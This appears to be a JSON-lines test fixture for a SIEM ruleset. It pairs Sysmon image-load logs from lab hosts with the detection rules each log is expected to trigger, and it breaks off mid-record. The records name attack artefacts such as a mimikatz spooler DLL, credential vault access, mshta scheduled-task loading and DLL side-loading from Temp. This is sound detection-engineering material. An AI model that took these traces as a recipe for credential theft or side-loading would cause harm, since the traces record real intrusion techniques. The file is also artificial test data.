Unavailable\\\"\",\"version\":\"3\",\"systemTime\":\"2021-06-30T20:19:05.025071300Z\",\"eventRecordID\":\"829139\",\"threadID\":\"3700\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"7\",\"processID\":\"2508\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.company": "Microsoft Corporation", "win.eventdata.description": "System.Management.Automation", "win.eventdata.fileVersion": "10.0.14393.693", "win.eventdata.hashes": "SHA1=6B7D60621FB17C0DE264109E1404AC9D1FD52AB3,MD5=67CFC833A98E43C452388F918FB7E4C1,SHA256=71DACD5ECFFE84A09F38C927F5C7561594391E3DD7DD9DF962BEC7F120F34186,IMPHASH=00000000000000000000000000000000", "win.eventdata.image": "C:\\\\Windows\\\\tiny.exe", "win.eventdata.imageLoaded": "C:\\\\Windows\\\\assembly\\\\NativeImages_v4.0.30319_64\\\\System.Manaa57fc8cc#\\\\b9fb242f469332d0a2e43fbb5bed25bd\\\\System.Management.Automation.ni.dll", "win.eventdata.originalFileName": "System.Management.Automation.dll", "win.eventdata.processGuid": "{86107A5D-D195-60DC-0B08-B60000000000}", "win.eventdata.processId": "8436", "win.eventdata.product": "Microsoft (R) Windows (R) Operating System", "win.eventdata.ruleName": "technique_id=T1059.001,technique_name=PowerShell", "win.eventdata.signatureStatus": "Unavailable", "win.eventdata.signed": "false", "win.eventdata.utcTime": "2021-06-30 20:19:04.450", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "7", "win.system.eventRecordID": "829139", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2508", "win.system.providerGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-06-30T20:19:05.025071300Z", "win.system.task": "7", "win.system.threadID": "3700", "win.system.version": "3"}, "field_names": ["win.eventdata.company", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.imageLoaded", "win.eventdata.originalFileName", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92151", "rule_matches_expected": false, "ini_file": "sysmon_eid_7.ini", "section": "Binary loaded PowerShell automation library"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"mimispool.dll\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\spoolsv.exe\",\"product\":\"mimispool (mimikatz)\",\"signature\":\"Open Source Developer, Benjamin Delpy\",\"imageLoaded\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\spool\\\\\\\\drivers\\\\\\\\x64\\\\\\\\3\\\\\\\\mimispoolbis.dll\",\"description\":\"mimispool for Windows (mimikatz)\",\"signed\":\"true\",\"signatureStatus\":\"Valid\",\"processGuid\":\"{4dc16835-6534-60ec-92a4-010000000000}\",\"processId\":\"1912\",\"utcTime\":\"2021-07-12 15:58:13.023\",\"hashes\":\"SHA1=BE9CB098C3331CC153E5E1BEA14B8D3B4D8CFD47,MD5=BB3DA838233101941460B5A8A85D326E,SHA256=C5CB049D25FAB0401C450F94A536898884681EE07C56B485BA4C6066B1DAE710,IMPHASH=D2007D8F257A5C5861BAB65684E7C6A3\",\"ruleName\":\"technique_id=1210,technique_name=Exploitation of Remote Services\",\"company\":\"gentilkiwi (Benjamin DELPY)\",\"fileVersion\":\"0.3.0.0\"},\"system\":{\"eventID\":\"7\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Image loaded:\\r\\nRuleName: technique_id=1210,technique_name=Exploitation of Remote Services\\r\\nUtcTime: 2021-07-12 15:58:13.023\\r\\nProcessGuid: {4dc16835-6534-60ec-92a4-010000000000}\\r\\nProcessId: 1912\\r\\nImage: C:\\\\Windows\\\\System32\\\\spoolsv.exe\\r\\nImageLoaded: C:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\mimispoolbis.dll\\r\\nFileVersion: 0.3.0.0\\r\\nDescription: mimispool for Windows (mimikatz)\\r\\nProduct: mimispool (mimikatz)\\r\\nCompany: gentilkiwi (Benjamin DELPY)\\r\\nOriginalFileName: mimispool.dll\\r\\nHashes: SHA1=BE9CB098C3331CC153E5E1BEA14B8D3B4D8CFD47,MD5=BB3DA838233101941460B5A8A85D326E,SHA256=C5CB049D25FAB0401C450F94A536898884681EE07C56B485BA4C6066B1DAE710,IMPHASH=D2007D8F257A5C5861BAB65684E7C6A3\\r\\nSigned: true\\r\\nSignature: Open Source Developer, Benjamin Delpy\\r\\nSignatureStatus: Valid\\\"\",\"version\":\"3\",\"systemTime\":\"2021-07-12T15:58:13.0304995Z\",\"eventRecordID\":\"267563\",\"threadID\":\"3552\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"7\",\"processID\":\"2092\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.company": "gentilkiwi (Benjamin DELPY)", "win.eventdata.description": "mimispool for Windows (mimikatz)", "win.eventdata.fileVersion": "0.3.0.0", "win.eventdata.hashes": "SHA1=BE9CB098C3331CC153E5E1BEA14B8D3B4D8CFD47,MD5=BB3DA838233101941460B5A8A85D326E,SHA256=C5CB049D25FAB0401C450F94A536898884681EE07C56B485BA4C6066B1DAE710,IMPHASH=D2007D8F257A5C5861BAB65684E7C6A3", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\spoolsv.exe", "win.eventdata.imageLoaded": "C:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\mimispoolbis.dll", "win.eventdata.originalFileName": "mimispool.dll", "win.eventdata.processGuid": "{4dc16835-6534-60ec-92a4-010000000000}", "win.eventdata.processId": "1912", "win.eventdata.product": "mimispool (mimikatz)", "win.eventdata.ruleName": "technique_id=1210,technique_name=Exploitation of Remote Services", "win.eventdata.signature": "Open Source Developer, Benjamin Delpy", "win.eventdata.signatureStatus": "Valid", "win.eventdata.signed": "true", "win.eventdata.utcTime": "2021-07-12 15:58:13.023", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "7", "win.system.eventRecordID": "267563", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2092", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-12T15:58:13.0304995Z", "win.system.task": "7", "win.system.threadID": "3552", "win.system.version": "3"}, "field_names": ["win.eventdata.company", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.imageLoaded", "win.eventdata.originalFileName", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.signature", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92152", "rule_matches_expected": false, "ini_file": "sysmon_eid_7.ini", "section": "Printer spooler service loads a dll file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"vaultcli.dll\",\"image\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\infosMin48.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"signature\":\"Microsoft Windows\",\"imageLoaded\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\vaultcli.dll\",\"description\":\"Credential Vault Client Library\",\"signed\":\"true\",\"signatureStatus\":\"Valid\",\"processGuid\":\"{4dc16835-24d1-60f7-4001-000000005000}\",\"processId\":\"5700\",\"utcTime\":\"2021-07-20 19:32:33.428\",\"hashes\":\"SHA1=0EA18B2789A85C20803DA84831B53A6236728FFF,MD5=C1D3933110B46BED9F4977BC5FADF607,SHA256=523EB270522AB2EC59CBE57B097A95FAB097E309FCE05B6F74A237BCC2463278,IMPHASH=D74C340A21D3A0792E913BA12F081859\",\"ruleName\":\"technique_id=T1555,technique_name=Credentials from Password Stores\",\"company\":\"Microsoft Corporation\",\"fileVersion\":\"10.0.19041.746 (WinBuild.160101.0800)\"},\"system\":{\"eventID\":\"7\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Image loaded:\\r\\nRuleName: technique_id=T1555,technique_name=Credentials from Password Stores\\r\\nUtcTime: 2021-07-20 19:32:33.428\\r\\nProcessGuid: {4dc16835-24d1-60f7-4001-000000005000}\\r\\nProcessId: 5700\\r\\nImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Temp\\\\infosMin48.exe\\r\\nImageLoaded: C:\\\\Windows\\\\System32\\\\vaultcli.dll\\r\\nFileVersion: 10.0.19041.746 (WinBuild.160101.0800)\\r\\nDescription: Credential Vault Client Library\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: vaultcli.dll\\r\\nHashes: SHA1=0EA18B2789A85C20803DA84831B53A6236728FFF,MD5=C1D3933110B46BED9F4977BC5FADF607,SHA256=523EB270522AB2EC59CBE57B097A95FAB097E309FCE05B6F74A237BCC2463278,IMPHASH=D74C340A21D3A0792E913BA12F081859\\r\\nSigned: true\\r\\nSignature: Microsoft Windows\\r\\nSignatureStatus: Valid\\\"\",\"version\":\"3\",\"systemTime\":\"2021-07-20T19:32:33.4755381Z\",\"eventRecordID\":\"279054\",\"threadID\":\"3248\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"7\",\"processID\":\"2392\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.company": "Microsoft Corporation", "win.eventdata.description": "Credential Vault Client Library", "win.eventdata.fileVersion": "10.0.19041.746 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=0EA18B2789A85C20803DA84831B53A6236728FFF,MD5=C1D3933110B46BED9F4977BC5FADF607,SHA256=523EB270522AB2EC59CBE57B097A95FAB097E309FCE05B6F74A237BCC2463278,IMPHASH=D74C340A21D3A0792E913BA12F081859", "win.eventdata.image": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Local\\\\Temp\\\\infosMin48.exe", "win.eventdata.imageLoaded": "C:\\\\Windows\\\\System32\\\\vaultcli.dll", "win.eventdata.originalFileName": "vaultcli.dll", "win.eventdata.processGuid": "{4dc16835-24d1-60f7-4001-000000005000}", "win.eventdata.processId": "5700", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1555,technique_name=Credentials from Password Stores", "win.eventdata.signature": "Microsoft Windows", "win.eventdata.signatureStatus": "Valid", "win.eventdata.signed": "true", "win.eventdata.utcTime": "2021-07-20 19:32:33.428", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "7", "win.system.eventRecordID": "279054", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2392", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-20T19:32:33.4755381Z", "win.system.task": "7", "win.system.threadID": "3248", "win.system.version": "3"}, "field_names": ["win.eventdata.company", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.imageLoaded", "win.eventdata.originalFileName", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.signature", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92153", "rule_matches_expected": false, "ini_file": "sysmon_eid_7.ini", "section": "Suspicious process loaded VaultCli.dll module"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"taskschd.dll\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\mshta.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"signature\":\"Microsoft Windows\",\"imageLoaded\":\"C:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\taskschd.dll\",\"description\":\"Task Scheduler COM API\",\"signed\":\"true\",\"signatureStatus\":\"Valid\",\"processGuid\":\"{4dc16835-8cdf-614b-90f6-cf0000000000}\",\"processId\":\"7736\",\"utcTime\":\"2021-09-22 20:06:57.547\",\"hashes\":\"SHA1=7DEE697ABA99177E43C0AE1F5E5E0C4AE53CD5F5,MD5=ED7A3151F0AC41ADEEF11700B653CBB2,SHA256=F18EB1CBA18AC1DF339C9DF4AEC95B8302DF99A6BD20439E514E5BB4D7610080,IMPHASH=59BF7D0FAD0B5B7F706EA9250167BD5B\",\"ruleName\":\"technique_id=T1053,technique_name=Scheduled Task\",\"company\":\"Microsoft Corporation\",\"fileVersion\":\"10.0.19041.1202 (WinBuild.160101.0800)\"},\"system\":{\"eventID\":\"7\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Image loaded:\\r\\nRuleName: technique_id=T1053,technique_name=Scheduled Task\\r\\nUtcTime: 2021-09-22 20:06:57.547\\r\\nProcessGuid: {4dc16835-8cdf-614b-90f6-cf0000000000}\\r\\nProcessId: 7736\\r\\nImage: C:\\\\Windows\\\\SysWOW64\\\\mshta.exe\\r\\nImageLoaded: C:\\\\Windows\\\\SysWOW64\\\\taskschd.dll\\r\\nFileVersion: 10.0.19041.1202 (WinBuild.160101.0800)\\r\\nDescription: Task Scheduler COM API\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: taskschd.dll\\r\\nHashes: SHA1=7DEE697ABA99177E43C0AE1F5E5E0C4AE53CD5F5,MD5=ED7A3151F0AC41ADEEF11700B653CBB2,SHA256=F18EB1CBA18AC1DF339C9DF4AEC95B8302DF99A6BD20439E514E5BB4D7610080,IMPHASH=59BF7D0FAD0B5B7F706EA9250167BD5B\\r\\nSigned: true\\r\\nSignature: Microsoft Windows\\r\\nSignatureStatus: Valid\\\"\",\"version\":\"3\",\"systemTime\":\"2021-09-22T20:06:57.5512462Z\",\"eventRecordID\":\"385283\",\"threadID\":\"3560\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"7\",\"processID\":\"2736\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.company": "Microsoft Corporation", "win.eventdata.description": "Task Scheduler COM API", "win.eventdata.fileVersion": "10.0.19041.1202 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=7DEE697ABA99177E43C0AE1F5E5E0C4AE53CD5F5,MD5=ED7A3151F0AC41ADEEF11700B653CBB2,SHA256=F18EB1CBA18AC1DF339C9DF4AEC95B8302DF99A6BD20439E514E5BB4D7610080,IMPHASH=59BF7D0FAD0B5B7F706EA9250167BD5B", "win.eventdata.image": "C:\\\\Windows\\\\SysWOW64\\\\mshta.exe", "win.eventdata.imageLoaded": "C:\\\\Windows\\\\SysWOW64\\\\taskschd.dll", "win.eventdata.originalFileName": "taskschd.dll", "win.eventdata.processGuid": "{4dc16835-8cdf-614b-90f6-cf0000000000}", "win.eventdata.processId": "7736", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1053,technique_name=Scheduled Task", "win.eventdata.signature": "Microsoft Windows", "win.eventdata.signatureStatus": "Valid", "win.eventdata.signed": "true", "win.eventdata.utcTime": "2021-09-22 20:06:57.547", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "7", "win.system.eventRecordID": "385283", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2736", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-22T20:06:57.5512462Z", "win.system.task": "7", "win.system.threadID": "3560", "win.system.version": "3"}, "field_names": ["win.eventdata.company", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.imageLoaded", "win.eventdata.originalFileName", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.signature", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92155", "rule_matches_expected": false, "ini_file": "sysmon_eid_7.ini", "section": "MSHTA process loaded taskschd.dll module"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"VBEUI.DLL\",\"image\":\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft Office\\\\\\\\root\\\\\\\\Office16\\\\\\\\WINWORD.EXE\",\"product\":\"Microsoft Visual Basic for Applications\",\"signature\":\"Microsoft Corporation\",\"imageLoaded\":\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft Office\\\\\\\\root\\\\\\\\vfs\\\\\\\\ProgramFilesCommonX86\\\\\\\\Microsoft Shared\\\\\\\\VBA\\\\\\\\VBA7.1\\\\\\\\VBEUI.DLL\",\"description\":\"Microsoft Visual Basic for Applications component\",\"signed\":\"true\",\"signatureStatus\":\"Valid\",\"processGuid\":\"{4dc16835-8cd1-614b-1585-cc0000000000}\",\"processId\":\"8108\",\"utcTime\":\"2021-09-22 20:06:57.355\",\"hashes\":\"SHA1=B05EDB49CB26F5686C509245FF829CAD027A55DD,MD5=5E3A049D154D5E873B08716E42355ED3,SHA256=FDC4479EECFD7B15BA63FF89E4893CE3D53CB18DF0BB64A79D09B164C4111D87,IMPHASH=94335E873709DE292ED48CD97740EBDD\",\"ruleName\":\"technique_id=T1059.005,technique_name=Command and Scripting Interpreter VBScript\",\"company\":\"Microsoft Corporation\",\"fileVersion\":\"7.1.16.14026\"},\"system\":{\"eventID\":\"7\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Image loaded:\\r\\nRuleName: technique_id=T1059.005,technique_name=Command and Scripting Interpreter VBScript\\r\\nUtcTime: 2021-09-22 20:06:57.355\\r\\nProcessGuid: {4dc16835-8cd1-614b-1585-cc0000000000}\\r\\nProcessId: 8108\\r\\nImage: C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE\\r\\nImageLoaded: C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\vfs\\\\ProgramFilesCommonX86\\\\Microsoft Shared\\\\VBA\\\\VBA7.1\\\\VBEUI.DLL\\r\\nFileVersion: 7.1.16.14026\\r\\nDescription: Microsoft Visual Basic for Applications component\\r\\nProduct: Microsoft Visual Basic for Applications\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: VBEUI.DLL\\r\\nHashes: SHA1=B05EDB49CB26F5686C509245FF829CAD027A55DD,MD5=5E3A049D154D5E873B08716E42355ED3,SHA256=FDC4479EECFD7B15BA63FF89E4893CE3D53CB18DF0BB64A79D09B164C4111D87,IMPHASH=94335E873709DE292ED48CD97740EBDD\\r\\nSigned: true\\r\\nSignature: Microsoft Corporation\\r\\nSignatureStatus: Valid\\\"\",\"version\":\"3\",\"systemTime\":\"2021-09-22T20:06:57.3715694Z\",\"eventRecordID\":\"385278\",\"threadID\":\"3564\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"7\",\"processID\":\"2736\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.company": "Microsoft Corporation", "win.eventdata.description": "Microsoft Visual Basic for Applications component", "win.eventdata.fileVersion": "7.1.16.14026", "win.eventdata.hashes": "SHA1=B05EDB49CB26F5686C509245FF829CAD027A55DD,MD5=5E3A049D154D5E873B08716E42355ED3,SHA256=FDC4479EECFD7B15BA63FF89E4893CE3D53CB18DF0BB64A79D09B164C4111D87,IMPHASH=94335E873709DE292ED48CD97740EBDD", "win.eventdata.image": "C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE", "win.eventdata.imageLoaded": "C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\vfs\\\\ProgramFilesCommonX86\\\\Microsoft Shared\\\\VBA\\\\VBA7.1\\\\VBEUI.DLL", "win.eventdata.originalFileName": "VBEUI.DLL", "win.eventdata.processGuid": "{4dc16835-8cd1-614b-1585-cc0000000000}", "win.eventdata.processId": "8108", "win.eventdata.product": "Microsoft Visual Basic for Applications", "win.eventdata.ruleName": "technique_id=T1059.005,technique_name=Command and Scripting Interpreter VBScript", "win.eventdata.signature": "Microsoft Corporation", "win.eventdata.signatureStatus": "Valid", "win.eventdata.signed": "true", "win.eventdata.utcTime": "2021-09-22 20:06:57.355", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "7", "win.system.eventRecordID": "385278", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2736", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-22T20:06:57.3715694Z", "win.system.task": "7", "win.system.threadID": "3564", "win.system.version": "3"}, "field_names": ["win.eventdata.company", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.imageLoaded", "win.eventdata.originalFileName", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.signature", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92156", "rule_matches_expected": false, "ini_file": "sysmon_eid_7.ini", "section": "Word process loaded vbeui.dll module"} +{"log": "{ \"win\": { \"eventdata\": { \"image\": \"C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\AccountingIQ.exe\", \"signatureStatus\": \"Unavailable\", \"processGuid\": \"{94f48244-782d-6169-8900-000000001b00}\", \"processId\": \"5372\", \"utcTime\": \"2021-10-15 12:46:41.400\", \"hashes\": \"SHA1=F1D67C1422C188A8CA889E979CE3C80F54973A2F,MD5=2405AC14520E5A5A5000A22A804320F3,SHA256=EFFA02347AAE8B9BB5002D0B400CCADCE6BB954349146C1F70E3DEF1DD684A9A,IMPHASH=BEEE3207913DDEFA6F0BCC6FBE061D04\", \"ruleName\": \"technique_id=T1073,technique_name=DLL Side-Loading\", \"imageLoaded\": \"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\dll329.dll\", \"signed\": \"false\" }, \"system\": { \"eventID\": \"7\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Image loaded:\\r\\nRuleName: technique_id=T1073,technique_name=DLL Side-Loading\\r\\nUtcTime: 2021-10-15 12:46:41.400\\r\\nProcessGuid: {94f48244-782d-6169-8900-000000001b00}\\r\\nProcessId: 5372\\r\\nImage: C:\\\\Users\\\\Public\\\\AccountingIQ.exe\\r\\nImageLoaded: C:\\\\Windows\\\\Temp\\\\dll329.dll\\r\\nFileVersion: -\\r\\nDescription: -\\r\\nProduct: -\\r\\nCompany: -\\r\\nOriginalFileName: -\\r\\nHashes: SHA1=F1D67C1422C188A8CA889E979CE3C80F54973A2F,MD5=2405AC14520E5A5A5000A22A804320F3,SHA256=EFFA02347AAE8B9BB5002D0B400CCADCE6BB954349146C1F70E3DEF1DD684A9A,IMPHASH=BEEE3207913DDEFA6F0BCC6FBE061D04\\r\\nSigned: false\\r\\nSignature: -\\r\\nSignatureStatus: Unavailable\\\"\", \"version\": \"3\", \"systemTime\": \"2021-10-15T12:46:41.9405329Z\", \"eventRecordID\": \"55999\", \"threadID\": \"3592\", \"computer\": \"accounting.xrisbarney.local\", \"task\": \"7\", \"processID\": \"2192\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.hashes": "SHA1=F1D67C1422C188A8CA889E979CE3C80F54973A2F,MD5=2405AC14520E5A5A5000A22A804320F3,SHA256=EFFA02347AAE8B9BB5002D0B400CCADCE6BB954349146C1F70E3DEF1DD684A9A,IMPHASH=BEEE3207913DDEFA6F0BCC6FBE061D04", "win.eventdata.image": "C:\\\\Users\\\\Public\\\\AccountingIQ.exe", "win.eventdata.imageLoaded": "C:\\\\Windows\\\\Temp\\\\dll329.dll", "win.eventdata.processGuid": "{94f48244-782d-6169-8900-000000001b00}", "win.eventdata.processId": "5372", "win.eventdata.ruleName": "technique_id=T1073,technique_name=DLL Side-Loading", "win.eventdata.signatureStatus": "Unavailable", "win.eventdata.signed": "false", "win.eventdata.utcTime": "2021-10-15 12:46:41.400", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "accounting.xrisbarney.local", "win.system.eventID": "7", "win.system.eventRecordID": "55999", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2192", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-15T12:46:41.9405329Z", "win.system.task": "7", "win.system.threadID": "3592", "win.system.version": "3"}, "field_names": ["win.eventdata.hashes", "win.eventdata.image", "win.eventdata.imageLoaded", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.signatureStatus", "win.eventdata.signed", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92157", "rule_matches_expected": false, "ini_file": "sysmon_eid_7.ini", "section": "Executable loaded a DLL from Temp directory"} +{"log": "{\"win\":{\"eventdata\":{\"targetProcessGuid\":\"{4dc16835-8ca1-60f5-99cb-100000000000}\",\"targetProcessId\":\"5052\",\"startAddress\":\"0x0000000002630000\",\"utcTime\":\"2021-07-19 15:56:08.048\",\"ruleName\":\"technique_id=T1055,technique_name=Process 